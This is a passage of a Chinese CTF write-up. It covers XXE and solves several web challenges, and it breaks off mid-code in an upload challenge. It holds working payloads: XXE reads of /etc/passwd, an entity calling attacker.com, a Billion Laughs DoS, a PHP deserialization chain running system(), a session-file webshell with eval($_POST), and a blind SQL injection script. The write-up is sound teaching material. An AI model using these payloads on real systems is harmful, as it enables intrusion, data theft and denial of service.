  1. <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>   &xxe; </root>
复制代码

  • 读取服务器文件


  • 读取本地文件是 XXE 漏洞最常用的方式之一,例如读取 Linux 系统中的 /etc/passwd 文件:
    1.   <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
    复制代码

  • 访问外部 URL


  • XXE 可以用于让服务器请求外部 URL,泄漏敏感信息或用于 SSRF 攻击:
    1.   <!DOCTYPE root [<!ENTITY xxe SYSTEM "http://attacker.com/exploit">]> <root>&xxe;</root>
    复制代码

  • Blind XXE


  • 在某些环境下,服务器不会返回读取到的文件内容,我们可以使用“盲 XXE”通过服务器的外部请求获取信息。盲 XXE 通过触发服务器向特定外部服务器发起请求来确认漏洞的存在。

    • 比如使用 xxe 让服务器请求外部的 URL,验证是否成功读取到文件。


  • XXE 和 SSRF 结合


  • XXE 攻击可以结合 SSRF(服务器端请求伪造) 漏洞,向我们控制的服务器发出 HTTP 请求,或使用本地服务,如访问 http://localhost。

  • 拒绝服务攻击


  • XXE 可以用于 拒绝服务攻击(Denial of Service, DoS),通过递归定义实体,生成大量数据斲丧服务器资源,例如“Billion Laughs Attack”:
    1.   <!DOCTYPE lolz [   <!ENTITY lol "lol">   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <root>&lol3;</root>
    复制代码

  • 常见的防御措施


  • 禁用外部实体:禁用 XML 解析器中的外部实体加载功能,是防止 XXE 攻击的首要措施。
  • XML 解析库安全设置:例如在 PHP 中,使用 libxml_disable_entity_loader(true) 可以防止加载外部实体。
  • 输入验证:对 XML 输入数据举行严格验证,避免的 DTD 实体被传入。
  • 使用 JSON:避免使用 XML,转向使用更简单和安全的格式如 JSON 也能低沉 XXE 风险。

  • 常见的题型和变种


  • 基础 XXE:要求读取文件,通常是 /etc/passwd。
  • Blind XXE:服务器不回显信息,需要通过外部请求验证漏洞。
  • XXE + SSRF:结合服务器请求伪造,通过 XML 实体让服务器请求内部网络。
  • Billion Laughs:通过实体递归举行 DoS 攻击。

  • CTF 中的 XXE 应用


  • XXE 是 CTF 竞赛中常见的漏洞考点,题目可能要求:

    • 通过 XXE 获取服务器上的敏感文件。
    • 结合 Blind XXE 和 SSRF 实现进一步攻击。
    • 观察防御机制,要求修改代码修复漏洞。
    • 复杂场景下的绕过机制,比如在 DTD 中使用黑名单或白名单来过滤特定的敏感内容。

总结:
XXE 是一种经典的 XML 解析漏洞,CTF 中常见的考点包括文件读取、Blind XXE、SSRF 攻击、DoS 攻击等。重点在于理解 XML 实体、DTD、以及怎样通过外部实体控制服务器行为,同时掌握防御 XXE 的常见措施。
2、WEB- ctf_uuunserialize

题目描述:
反反反序列化
解题思绪
打开靶机也照旧代码审计,如图下;

题目;
  1. <?php  
  2.   
  3. class blue  
  4. {  
  5.     public $b1;  
  6.     public $b2;  
  7.   
  8.     function eval() {  
  9.         echo new $this->b1($this->b2);  
  10.     }  
  11.   
  12.     public function __invoke()  
  13.     {        $this->b1->blue();  
  14.     }  
  15. }  
  16.   
  17. class red  
  18. {  
  19.     public $r1;  
  20.   
  21.     public function __destruct()  
  22.     {  
  23.         echo $this->r1 . '0xff0000';  
  24.     }  
  25.   
  26.     public function execute()  
  27.     {  
  28.         ($this->r1)();  
  29.     }  
  30.   
  31.     public function __call($a, $b)  
  32.     {  
  33.         echo $this->r1->getFlag();  
  34.     }  
  35.   
  36. }  
  37.   
  38. class white  
  39. {  
  40.     public $w;  
  41.   
  42.     public function __toString()  
  43.     {        $this->w->execute();  
  44.         return 'hello';  
  45.     }  
  46. }  
  47. class color  
  48. {  
  49.     public $c1;  
  50.   
  51.     public function execute()  
  52.     {  
  53.         ($this->c1)();  
  54.     }  
  55.   
  56.     public function getFlag()  
  57.     {  
  58.         eval('#' . $this->c1);  
  59.     }  
  60.   
  61. }  
  62.   
  63. if (isset($_POST['cmd'])) {    unserialize($_POST['cmd']);  
  64. } else {    highlight_file(__FILE__);  
  65. }
复制代码
当然啊这里肯定就是反序列化了,那我们来简单分析一下;
   这个代码展示了一个典型的PHP反序列化漏洞场景,结合了类的定义、魔术方法(如 __invoke() 和 __toString())以及 PHP 的 unserialize() 函数。在反序列化的过程中,如果传入了精心构造的对象,就可以触发不安全的代码执行。
  代码重点分析:

  • unserialize()函数
代码吸收用户的 POST 请求数据并将其通报给 unserialize() 函数,这里是整个漏洞的入口。如果通报了的序列化字符串,程序会重构这些对象并执行其定义的相关方法。
  1. if (isset($_POST['cmd'])) {     unserialize($_POST['cmd']); } else {     highlight_file(__FILE__); }
复制代码

  • blue 类


  • blue 类有两个重要方法:eval() 和 __invoke()。
  • eval() 中使用了 $this->b1 举行动态类实例化,并将 $this->b2 作为参数通报。这表明通过反序列化可以控制 $b1 和 $b2 的值,导致恣意对象被创建。
  • __invoke() 魔术方法会在对象以函数形式调用时触发。在这里,它调用了 $this->b1->blue()。
    1.   function eval() {     echo new $this->b1($this->b2); }
    复制代码

  • red 类


  • __destruct() 会在对象销毁时自动触发,这里输出了 r1 并拼接上 '0xff0000',意味着可以通过 r1 来控制输出。
  • execute() 通过 ($this->r1)() 调用了 $r1,因此可以使用 r1 是一个可执行对象的特性。
  • __call() 魔术方法会在调用不可访问的方法时触发,这里通过 $this->r1->getFlag() 进一步调用了 getFlag() 方法。
    1.   public function __destruct() {     echo $this->r1 . '0xff0000'; }
    复制代码

  • white 类


  • __toString() 魔术方法允许对象被当作字符串使用时自动调用,这里会执行 $this->w->execute(),然后返回 hello。
  • 通过反序列化控制 $w 可以进一步使用 execute() 方法,执行恣意代码。
    1.   public function __toString() {     $this->w->execute();     return 'hello'; }
    复制代码

  • color 类


  • color 类的 execute() 和 getFlag() 也可以被控制,其中 getFlag() 使用了 eval(),这会引发代码执行。
  • 通报恣意代码给 $this->c1 就可以在 eval() 中执行它。
    1.   public function getFlag() {     eval('#' . $this->c1); }
    复制代码
漏洞总结:

  • 反序列化漏洞:通过 unserialize() 函数将用户提供的数据转化为对象,我们可以构造的序列化字符串,注入特定类的属性来触发伤害行为。
  • 魔术方法滥用:代码中使用了多个魔术方法,例如 __invoke()、__call()、__toString() 和 __destruct(),这些方法可能会在不经意间被触发,进而引发攻击链。例如 __toString() 方法可以被注入并在字符串上下文中触发。
  • 恣意代码执行:通过类的 getFlag() 方法中的 eval(),结合反序列化的注入,我们可以在系统中执行恣意 PHP 代码。
  • 典型使用方式

    • 构造一个序列化字符串,注入差别类的属性,最后通过链式调用触发 eval(),从而执行恣意下令。
    • 例如:通过控制 blue 类中的 $b1 和 $b2,使实在例化 red 或 color 类,结合魔术方法调用最终实现 eval()。

分析完毕,那我们开始构造链;
步调#1
首先能够可控执行代码地方只有“color”内的“getFlag”。由于这里是字符串“#”举行了拼接。我们比如绕过这个注释符。通过闭合php代码。
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $color2 = new color();
  3. $color2->c1 = "?><?php phpinfo();?>";
  4. $color2->getFlag();
复制代码
步调#2
那现在需要的是触发$color2->getFlag() ,向上找,必然是使用 class red 的魔术方法__call (方法重载)。 在调用red类的一个不存在的函数时,就会触发。 测试代码如下;
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $red2 = new red();
  3. $color2 = new color();
  4. $red2->r1 = $color2;
  5. $color2->c1 = "?><?php phpinfo();?>";
  6. $red2->xxx();
复制代码
步调#3
现在需要找到怎么调用到“red”的一个不存在的函数。 我们能找到“class blue”的魔术方法 invoke() (当尝试以调用函数的方式调用一个对象时,invoke 方法会被自动调用)测试代码如下;
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $blue = new blue();
  3. $red2 = new red();
  4. $color2 = new color();
  5. $blue->b1=$red2;
  6. $red2->r1 = $color2;
  7. $color2->c1 = "?><?php phpinfo();?>";
  8. $blue();
复制代码
步调#4
需要找到能够调用blue invoke, 能够发现是class red 的execute函数 和 class color的execute 都可以 。但是没有能够使用的,下一步调用 class red 的execute函数的地方。 这个时候只能选择 class color的execute。 由于我们前边已经有一个color对象了,并不能复用 。 我们这里new一个新的;
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $color1 = new color();
  3. $blue = new blue();
  4. $red2 = new red();
  5. $color2 = new color();
  6. $color1->c1=$blue;
  7. $blue->b1=$red2;
  8. $red2->r1 = $color2;
  9. $color2->c1 = "?><?php phpinfo();?>";
  10. $color1->execute();
复制代码
步调#5
**现在需要找能够触发 color1->execute的地方了。显然是class white的魔术方法 toString (toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。)
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $white = new white();
  3. $color1 = new color();
  4. $blue = new blue();
  5. $red2 = new red();
  6. $color2 = new color();
  7. $white->w=$color1;
  8. $color1->c1=$blue;
  9. $blue->b1=$red2;
  10. $red2->r1 = $color2;
  11. $color2->c1 = "?><?php phpinfo();?>";
  12. echo $white;
复制代码
步调#6
显然能够触发class white的魔术方法 toString 的地方只有class red 的邪术函数 __destruct (在页面运行竣事时,会执行对象的析构函数)
  1. # 此处省略上边的一堆class的定义,只防止关键代码
  2. $red1 = new red();
  3. $white = new white();
  4. $color1 = new color();
  5. $blue = new blue();
  6. $red2 = new red();
  7. $color2 = new color();
  8. $red1->r1= $white;
  9. $white->w=$color1;
  10. $color1->c1=$blue;
  11. $blue->b1=$red2;
  12. $red2->r1 = $color2;
  13. $color2->c1 = "?><?php phpinfo();?>";
复制代码
步调#7
修改内里的所需要执行的代码,而且序列化输出。 将序列化后的值给通过cmd传给index.php 即可;
  1. <?php
  2. class blue
  3. {
  4.     public $v1;
  5. }
  6. class red
  7. {
  8.     public $f1;
  9. }
  10. class white
  11. {
  12.     public $a;
  13. }
  14. class color
  15. {
  16.     public $m1;
  17. }
  18. $red1 = new red();
  19. $white = new white();
  20. $color1 = new color();
  21. $blue = new blue();
  22. $red2 = new red();
  23. $color2 = new color();
  24. $red1->r1= $white;
  25. $white->w=$color1;
  26. $color1->c1=$blue;
  27. $blue->b1=$red2;
  28. $red2->r1 = $color2;
  29. $color2->c1 = "?><?php system('cat /flag');?>";
  30. echo serialize($red1);
复制代码
简单分析一下;
   首先母庸质疑的就是这是一个怎样使用 PHP 对象的属性关系来构造一个复杂的对象序列化链,并最终实现恣意代码执行。代码的目的是在反序列化过程中执行系统下令,从而读取系统中的 /flag 文件。
  代码分析:

  • 类定义部分

    • 定义了四个类:blue, red, white, color。每个类都有差别的公共属性,用来存储其他对象或字符串。
    • 每个类看似简单,但它们通过复杂的属性引用,渐渐形成了一个序列化链。

  • 对象实例化部分

    • 六个对象被创建出来:$red1, $white, $color1, $blue, $red2, $color2。
    • 这些对象通过属性引用渐渐链接起来,形成了一个嵌套的对象布局。
    • $red1->r1 = $white;:$red1 的 r1 属性引用了 white 对象 $white。
    • $white->w = $color1;:$white 的 w 属性引用了 color 对象 $color1。
    • $color1->c1 = $blue;:$color1 的 c1 属性引用了 blue 对象 $blue。
    • $blue->b1 = $red2;:$blue 的 b1 属性引用了另一个 red 对象 $red2。
    • $red2->r1 = $color2;:$red2 的 r1 属性引用了另一个 color 对象 $color2。
    • $color2->c1 = "?><?php system('cat /flag');?>":$color2 的 c1 属性是一个包含 PHP 代码的字符串,这段代码会在反序列化过程中被注入和执行。

  • 序列化部分

    • serialize($red1):将对象 $red1 举行序列化,生成一串序列化后的字符串数据。
    • 序列化后的字符串保留了对象和属性之间的嵌套关系,并保存了这些对象中包含的所有引用和字符串数据。

序列化后的对象布局:
对象序列化时会保留对象的层级关系和属性内容。根据这个代码的逻辑,序列化后的布局大抵如下:


  • $red1 -> $white -> $color1 -> $blue -> $red2 -> $color2
  • 最终,$color2->c1 包含的 PHP 代码 (?><?php system('cat /flag');?>) 会被注入。
使用分析:

  • 反序列化时,PHP 会将序列化字符串规复成原始对象布局,这些对象的属性值也会规复。
  • 如果在反序列化过程中执行了涉及到属性的方法,而且这些方法中有代码执行点(如 eval() 大概系统下令执行),我们可以通过构造数据,实现恣意代码执行。
  • 在我们的这个例子中,反序列化时有某个机制直接将 $color2->c1 的内容作为 PHP 代码执行,那么我们就可以执行 system('cat /flag'),读取系统中的 /flag 文件。
总结:


  • 展示了怎样通过对象的复杂引用布局,构造一个序列化链,并在反序列化时使用 PHP 代码执行漏洞来获取敏感信息。
  • 使用 serialize() 和 unserialize() 处置惩罚不受信托的数据时,如果类中有执行敏感代码的地方(如 eval() 大概 system()),很容易引发反序列化漏洞
使用PHP运行得到;
  1. <?php
  2. class blue
  3. {
  4.     public $v1;
  5. }
  6. class red
  7. {
  8.     public $f1;
  9. }
  10. class white
  11. {
  12.     public $a;
  13. }
  14. class color
  15. {
  16.     public $m1;
  17. }
  18. $red1 = new red();
  19. $white = new white();
  20. $color1 = new color();
  21. $blue = new blue();
  22. $red2 = new red();
  23. $color2 = new color();
  24. $red1->r1= $white;
  25. $white->w=$color1;
  26. $color1->c1=$blue;
  27. $blue->b1=$red2;
  28. $red2->r1 = $color2;
  29. $color2->c1 = "?><?php system('cat /flag.txt');?>";
  30. echo serialize($red1);
复制代码
得到;

也就是;
  1. O:3:"red":2:{s:2:"f1";N;s:2:"r1";O:5:"white":2:{s:1:"a";N;s:1:"w";O:5:"color":2:{s:2:"m1";N;s:2:"c1";O:4:"blue":2:{s:2:"v1";N;s:2:"b1";O:3:"red":2:{s:2:"f1";N;s:2:"r1";O:5:"color":2:{s:2:"m1";N;s:2:"c1";s:34:"?><?php system('cat /flag.txt');?>";}}}}}}
复制代码
接着使用“HackBar”传参得到,大概直接使用“bp”抓包传参也行;
“bp”传参

“HackBar”传参得到;

至此;
  1. flag{8166fd074b28be606a9d4e23135efbb1}
复制代码
3、WEB-ctf_linkgame

题目描述:
连连看
解题思绪
打开靶机发现是一个“连连看”的游戏,如图下;

简单分析一下,直接“Ctrl+u”检察源码;

发现一个“./?file=readme.txt“,尝试修改直接读取”flag.txt“,但是发现没有回显,换一种思绪,简单尝试一下看看伪协议能不能获取”index.php“源码;
  1. ?file=php://filter/read=convert.base64-encode/resource=index.php
复制代码
简单分析一下“payload”;

  • 伪协议 php://filter

    • php://filter 是 PHP 提供的一种输入/输出流操作伪协议。它允许通过过滤器对文件、输入输出流举行处置惩罚。

  • read=convert.base64-encode

    • 这里使用了 convert.base64-encode 过滤器,它将文件内容以 Base64 编码的方式读取。这在目的文件无法直接读取时尤为有效,由于 Base64 可以将文件内容转换成安全的字符串格式举行传输。

  • resource=index.php

    • resource=index.php 指定了目的文件,即 index.php。这意味着我们希望通过 Base64 编码的方式读取 index.php 文件的内容。

步调:


  • 文件读取漏洞:如果应用存在未做充分验证的文件读取机制,我们可以使用该伪协议来读取敏感文件的内容。
  • 避免敏感信息显示:这种环境下,直接输出 PHP 文件内容可能触发 Web 应用的安全机制,但通过 Base64 编码文件内容可以绕过这些限制。我们可以通过读取编码后的文件内容,然后解码,检察文件的现实内容。
总的来说;


  • 该 URL 通过使用 PHP 的 php://filter 伪协议读取文件,并将文件内容通过 Base64 编码,以避免某些安全机制的检测或拦阻。
传参成功;

这里我们照旧直接“Ctrl+u”检察源码;

“base64”解码得到;
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. ?>
  5. <?php
  6. if (isset($_GET['name'])) {
  7.         $_SESSION['name'] = base64_encode($_GET['name']);
  8. }
  9. if (empty($_SESSION['name'])){
  10.         $_SESSION['name']=base64_encode('me');
  11.         }
  12. ?>
  13. <!DOCTYPE html>
  14. <html lang="zh-CN">
  15. <head>
  16.   <meta charset="UTF-8">
  17.   <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  18.   <meta http-equiv="X-UA-Compatible" content="ie=edge">
  19.   <link rel="stylesheet" href="css/style.css">
  20.   <title>连连看</title>
  21. </head>
  22. <body>
  23.     <div class="container">
  24.         <div class="heading">
  25.             <p class="time"></p>
  26.             <?php
  27.             if (!empty($_SESSION['name'])) {
  28.         echo "<button id="help" class="btn" >help ".base64_decode($_SESSION['name']) . "</button>";
  29. }
  30. ?>
  31.             <button id="restart" class="btn" >restart</button>
  32.             <a href="./?file=readme.txt">
  33.             <button class="btn">about</button>
  34.           </a>
  35.         </div>
  36.         <div class="grid-container"></div>
  37.     </div>
  38.     <script src="js/config.js"></script>
  39.     <script src="js/util.js"></script>
  40.     <script src="js/view.js"></script>
  41.     <script src="js/game.js"></script>
  42.     <script src="js/event.js"></script>
  43.     <script src="js/main.js"></script>
  44. <?php if (isset($_GET['file'])) {
  45.         include($_GET['file']);
  46. }?>
复制代码
简单分析一下;

  • 会话管理和 base64_encode
    1. session_start(); error_reporting(0);
    复制代码


  • 代码的开头使用了 session_start(),这意味着该页面使用了 PHP 的会话机制来存储用户数据(如 $_SESSION['name'])。
  • error_reporting(0) 被用来隐藏所有的错误信息。

  • $_SESSION 操作和 Base64 编码
    1. if (isset($_GET['name'])) {         $_SESSION['name'] = base64_encode($_GET['name']); } if (empty($_SESSION['name'])){         $_SESSION['name']=base64_encode('me'); }
    复制代码


  • 如果通过 GET 请求通报了 name 参数,则将该参数颠末 base64_encode() 编码后存入会话变量 $_SESSION['name']。
  • 如果 $_SESSION['name'] 为空,则默认设置为 'me' 的 Base64 编码(即 'bWU=')。

  • 显示用户 name 信息
    1. if (!empty($_SESSION['name'])) {     echo "<button id="help" class="btn" >help ".base64_decode($_SESSION['name']) . "</button>"; }
    复制代码


  • 如果会话中存在 name 值,它会被 Base64 解码后显示在页面上的一个按钮中。

  • 文件包含漏洞
    1. if (isset($_GET['file'])) {     include($_GET['file']); }
    复制代码


  • 这里的文件包含,由于它直接使用了 GET 请求中的 file 参数的值,并将其作为包含的文件路径。
  • 文件包含漏洞:我们可以通过传入的 file 参数值,如 ?file=evil.php 或使用伪协议 ?file=php://input。
最后总的来说发现存在“name”传参,同时会将“name”的值举行”base64编码“后保存在”session“中。
那这里我们首先考虑到文件包含“session”来获取webshell,那这里先随便传一个“?name=xxxxx”;

测试成功正常回显,那这里我们继续尝试包含“session”,以此来确认“session”文件位置;
最后也是颠末尝试发现“session”文件位于“/tmp/sess_xxxxxxxxxxxxxxxxxxxxx”中;
那就开始传“webshell”,这里考虑到“base64编码”转换的题目,需要特定长度的payload,以是;
  1. ?name=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php%20eval($_POST[%27a%27]);?>
复制代码
简单分析一下;

  • 参数通报:

    • 首先通过 GET 请求通报了 name 参数,其中包含了一段 PHP 代码 <?php eval($_POST['a']);?>。
    • 在 URL 中, <?php eval($_POST['a']);?> 被编码为 %20eval($_POST[%27a%27]);。

  • Base64 编码处置惩罚:

    • 根据 PHP 代码,$_GET['name'] 被通报给 base64_encode() 举行编码,然后存储在 $_SESSION['name'] 中。
    • 以是你的 name 值 abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['a']);?> 将被编码为 Base64 字符串。
    示例:
       

    • Base64 编码后的内容将会是:
      YWJjZGFiY2RhYmNkYWJjZGFiY2RhYmNkYWJjZGFiY2RhYmNkYWJjZGFiY2RhYmNkPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

  • Base64 解码显示:

    • 当页面输出时,$_SESSION['name'] 会颠末 base64_decode() 解码,并在页面中显示。
    • 以是在页面中,按钮上的内容将是你通报的 name 参数的原始值,即:
      abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['a']);?>

  • 目的:

    • 注入的代码 <?php eval($_POST['a']);?> 的作用是在服务器端执行传入的 PHP 代码(通过 POST 请求通报参数 a)。
    • 如果代码成功执行,我们可以通过发送 POST 请求并附带参数 a 来执行恣意 PHP 代码。例如:
      curl -X POST -d "a=system('ls');" http://target-site.com
      这将执行 ls 下令并列出目的服务器上的文件。

总结:
payload 试图通过 GET 请求将代码 <?php eval($_POST['a']);?> 注入到会话中,并在页面上解码展示。
得到;

不难看出已经传参成功,以是我们直接使用“BP”抓包确认一下“session”的名称;

我的“session”;
  1. crpb7s4sqbsuhulot8jhl85jvq
复制代码
接着直接打开蚁剑开始连接,简单配置一下”webshell“;
  1. http://10.246.19.155:36323/?file=php://filter/read=convert.base64-decode/resource=/tmp/sess_crpb7s4sqbsuhulot8jhl85jvq
复制代码
暗码:a
成功连接;

最后也是在根目录下发现“flag.txt”;

至此;
  1. flag{98a77ed26470b1e21f0d267104050476}
复制代码
4、WEB- ctf_loginnn

题目描述:
不寻常的登录
解题思绪
打开靶机发现账号暗码,尝试SQL注入但是发现不是,如图下;

那我们直接简单爆破一下,结果也是真的爆破出来了,弱口令“top1000”就出,大概“fuu”字典也行;

这边也是很快爆破出了账号暗码:admin/123456,那我们直接登录;

那这边我们随便输入一个“4399.com”试试看;

很快也是发现回显了一张图片,那我们右键检察一下图片;

注意图片的路径:/upload/21232f297a57a5a743894a0e4a801fc3.jpg
接着返回主页,最后“Ctrl+u”检察源码;

但是这时候你会发现是检察不了的,不过不要紧,我们把图片的路径粘贴上去,最后也就变成;
  1. view-source:http://10.246.19.155:40227/upload/21232f297a57a5a743894a0e4a801fc3.jpg
复制代码

可以说跟“4399.com”的源码没啥区别,那这里我们就可以考虑一下,靶机是否存在“index.php”这个文件,也照旧使用上面的方法尝试读取“index.php”(一般的网站根目录百分之九十的都会存在,由于不会特意去因此删除);

也照旧检察新建图片链接,复制图片的链接:/upload/21232f297a57a5a743894a0e4a801fc3.jpg;

返回主页继续检察源码,故技重施检察文件“index.php”;

简单分析一下;
   简单来说这是一个简单的用户登录页面,并通过 PHP 举行处置惩罚。页面通过 POST 请求提交用户名和暗码,并对输入的用户名和暗码举行 SQL 查询,确认是否匹配数据库中的记录。
  

  • 前端部分


  • HTML 使用 bootstrap 创建一个简单的登录表单,包括用户名和暗码的输入框。
  • 页面笔墨编码使用 UTF-8,但其中显示的笔墨如“鐢ㄦ埛鍚�”等显然是乱码。缘故原由可能是字符编码不一致,本来应该是中笔墨符,但由于没有使用正确的编码或字体,显示成了乱码。

  • PHP 处置惩罚逻辑


  • Session 初始化:调用 session_start() 开启或规复一个会话,这样可以在后续过程中使用 $_SESSION 来存储用户信息。
  • WAF 过滤:使用了 waf_filter 对用户输入的 username 和 password 举行过滤,以阻止输入。这个函数是来自 secure_waf.php 文件,以是待会我们可以进去分析一下。
    1.   $username = waf_filter($_POST['username']); $password = waf_filter($_POST['password']);
    复制代码
  • 数据库连接:通过 mysqli_connect() 连接数据库,使用 config.php 文件中的数据库配置信息。
  • SQL 查询:构建了一个查询语句,尝试在 user 表中找到与提供的 username 和 password 匹配的记录:
    1.   $sql = "select * from user where username='" . $username . "' and password='" . $password . "'";
    复制代码

  • 功能逻辑


  • 会话处置惩罚:成功登录后,代码将用户名和用户的 UUID(通过 md5 加密生成)存储在 $_SESSION 中,用于会话管理。这种方式可以确保在整个会话过程中可以识别用户身份。
跟进到“secure_waf.php”简单分析一下,这边也照旧故技重施,我们继续;

检察图片路径:/upload/21232f297a57a5a743894a0e4a801fc3.jpg

返回主页,重复此操作;

简单分析一下;
   首先可以肯定的就是这段代码实现了一个非常简单的 Web Application Firewall (WAF) 过滤函数,用于防止常见的 SQL 注入攻击和其他恶意输入。
  

  • 函数功能概述


  • 该函数 waf_filter($content) 吸收用户输入的 $content,并对其举行一系列的查抄和处置惩罚,旨在过滤掉一些可能用于 SQL 注入或 XSS 攻击的特别字符和关键字。

  • 正则匹配和拦截机制
    1. if(preg_match("/union|select|from|and|or|mid|ascii|substr|right|regexp|like|cast|char|update|sleep|between|replace|&|like|where|\^|\|/i", $content)) {     die("<script>alert('You are Hacker!!!');</script>"); }
    复制代码


  • 使用正则表达式匹配 $content 中的敏感 SQL 关键字,如 union、select、and、or 等。
  • 匹配到敏感关键字后,立即终止脚本执行并返回一个 JavaScript 弹窗警告 'You are Hacker!!!',告知用户非法操作。
  • 正则表达式解释

    • /union|select|from|and|or.../i:匹配所有列出的 SQL 关键字(如 union、select 等),其中 i 表现忽略大小写。
    • 关键字中也包括一些特别符号,如 &、^、|,这些符号可能被用于某些代码注入攻击。


  • 删除空格
    1. $content = preg_replace("/\s/", '', $content);
    复制代码


  • 使用 preg_replace() 删除用户输入中的所有空缺字符(包括空格、制表符、换行符等)。
  • 这一操作防止我们通过插入空格绕过简单的关键字检测,如使用 u n i o n 来规避 union 的匹配。

  • 移除 HTML 标签
    1. $content = strip_tags($content);
    复制代码


  • 使用 strip_tags() 函数移除 $content 中的所有 HTML 和 PHP 标签。
  • 这一步调重要是为了防止 跨站脚本攻击 (XSS),即通过输入 HTML 或 JavaScript 代码来篡改页面行为或盗取敏感信息。

  • 处置惩罚单引号
    1. $content = str_replace("'", "\'", $content);
    复制代码


  • 使用 str_replace() 将单引号 ' 更换为转义单引号 \',防止 SQL 注入。
  • 这一操作有助于防止我们通过在输入中使用单引号打断 SQL 查询布局。

  • 返回处置惩罚后的内容
    1. return $content;
    复制代码


  • 函数最终返回过滤和处置惩罚过的 $content,用于后续安全的数据库查询或页面展示。

  • 分析总结


  • 防护机制

    • SQL 注入:正则表达式匹配常见 SQL 关键字并阻止其执行,同时删除空缺字符防止关键字拆分绕过检测。
    • XSS 攻击:通过 strip_tags() 移除 HTML 标签,有效淘汰跨站脚本攻击的可能性。
    • 转义字符:处置惩罚单引号,防止通过未处置惩罚的 SQL 查询漏洞举行攻击。

  • 不足之处

    • 使用正则匹配虽然能拦截常见的 SQL 关键字,但并不美满。我们可能通过变形或绕过字符限制,仍旧可能对系统造成威胁。
    • 推荐使用:在现实应用中,发起使用 预处置惩罚语句 (Prepared Statements)参数化查询 来彻底防止 SQL 注入,而不是依赖正则表达式过滤。

总结一下,首先肯定的就是观察SQL注入到绕过,可以看到过滤了大量关键字,而且转义了单引号,为了防护XSS,代码里用strip_tags剔除了html标签,因此可以通过html标签拆分关键字的方法绕过对关键字的过滤;
观察SQL语句的拼接:
$sql = “select * from user where username='” . $username . “’ and password='” . $password .
这里可以用\逃逸单引号;
构造payload脚本;
  1. import requests
  2. # 目标URL地址,指向包含SQL注入漏洞的页面
  3. url = "http://10.246.19.155:41607/index.php"
  4. # 设置requests库的默认重试次数为5
  5. requests.DEFAULT_RETRIES = 5
  6. # 创建一个会话对象,以保持连接的持久性
  7. s = requests.session()
  8. # 禁用HTTP keep-alive,避免持久连接
  9. s.keep_alive = False
  10. # 定义获取flag的函数
  11. def get_flag():
  12.     # 待爆破的列名为'flag'
  13.     column = "flag"
  14.     # 待爆破的表名为'flag'
  15.     table = "flag"
  16.     # 用于保存爆破出的flag值
  17.     value = ""
  18.     # i用于循环爆破flag的每一位,假设flag长度最大为60
  19.     for i in range(1, 60):
  20.         # j用于循环ASCII值,从33到255(一般可打印字符的ASCII范围)
  21.         for j in range(33, 128):
  22.             # 构造POST请求的数据包,进行SQL注入
  23.             data = {
  24.                 # SQL语句伪代码:
  25.                 # 选择flag列的第i个字符,并将其ASCII值与j进行比较
  26.                 # 若匹配,则返回成功提示
  27.                 "password": "/**/o<abc>r/**/asc<abc>ii(sub<abc>str((sel<abc>ect/**/{}/**/f<abc>rom/**/{}),{},1))={}#".format(column, table, i, j),
  28.                 # 模拟登录表单的提交按钮
  29.                 "login": "submit",
  30.                 # 输入的用户名为反斜杠,是为了触发SQL注入
  31.                 "username": "\"
  32.             }
  33.             # 发送POST请求,将构造的数据包发送至目标服务器
  34.             html = requests.post(url=url, data=data).text
  35.             # 如果返回页面中包含"登录成功"字样,说明当前字符的ASCII值匹配
  36.             if "登录成功" in html:
  37.                 # 将匹配到的字符的ASCII值转换为字符,并追加到flag值中
  38.                 value = value + chr(j)
  39.                 # 输出当前已获取的部分flag值
  40.                 print(value)
  41.                 # 匹配成功,退出当前字符的循环,开始爆破下一位
  42.                 break
  43. # 主程序入口,执行get_flag函数
  44. if __name__=='__main__':
  45.     get_flag()
复制代码
实在这边都加了注释但也照旧简单分析一下;


  • 目的URL:脚本通过POST请求向目的URL发送构造的SQL注入数据,试图获取数据库中的flag值。
  • 重试机制与会话:通过设置requests.DEFAULT_RETRIES = 5和session来处置惩罚匿伏的网络不稳定性。
  • SQL注入语句:构造的SQL语句通过逐位ASCII匹配的方式,尝试爆破数据库中flag表的flag字段。每次尝试时,通过ASCII码值逐字符获取flag的内容。
  • 逻辑流程:首先根据flag的长度从第1位开始,通过ASCII码匹配的方式确认每一个字符,直到获取到完整的flag值。
运行得到;

至此;
  1. flag{0cfee7ad9d01234567890}
复制代码
5、WEB- ctf_ezupload

题目描述:
不一样的上传
解题思绪
这不看到题目描述“不一样的上传”,那我们打开靶机看看怎么个不一样法;

哎哎哎,熟悉的话,让我想起“某2022某洵杯”了,结果一起看发现大差不差,不过不要紧哈,我们这边再来一起复习一下;
那既然是文件上传啊,老规矩嘛直接传一个“phpinfo”看看;
   文件名:123.php
内容:<?php phpinfo();?>
  

访问一下上传成功的路径:/uploads/42995f342e8abd019311aaed89d550ae.php
得到;

发现过滤了很多函数,但是仔细观察会发现可以使用“file_get_contents”来举行文件读取;
  1. <?php
  2. function waf($var): bool{
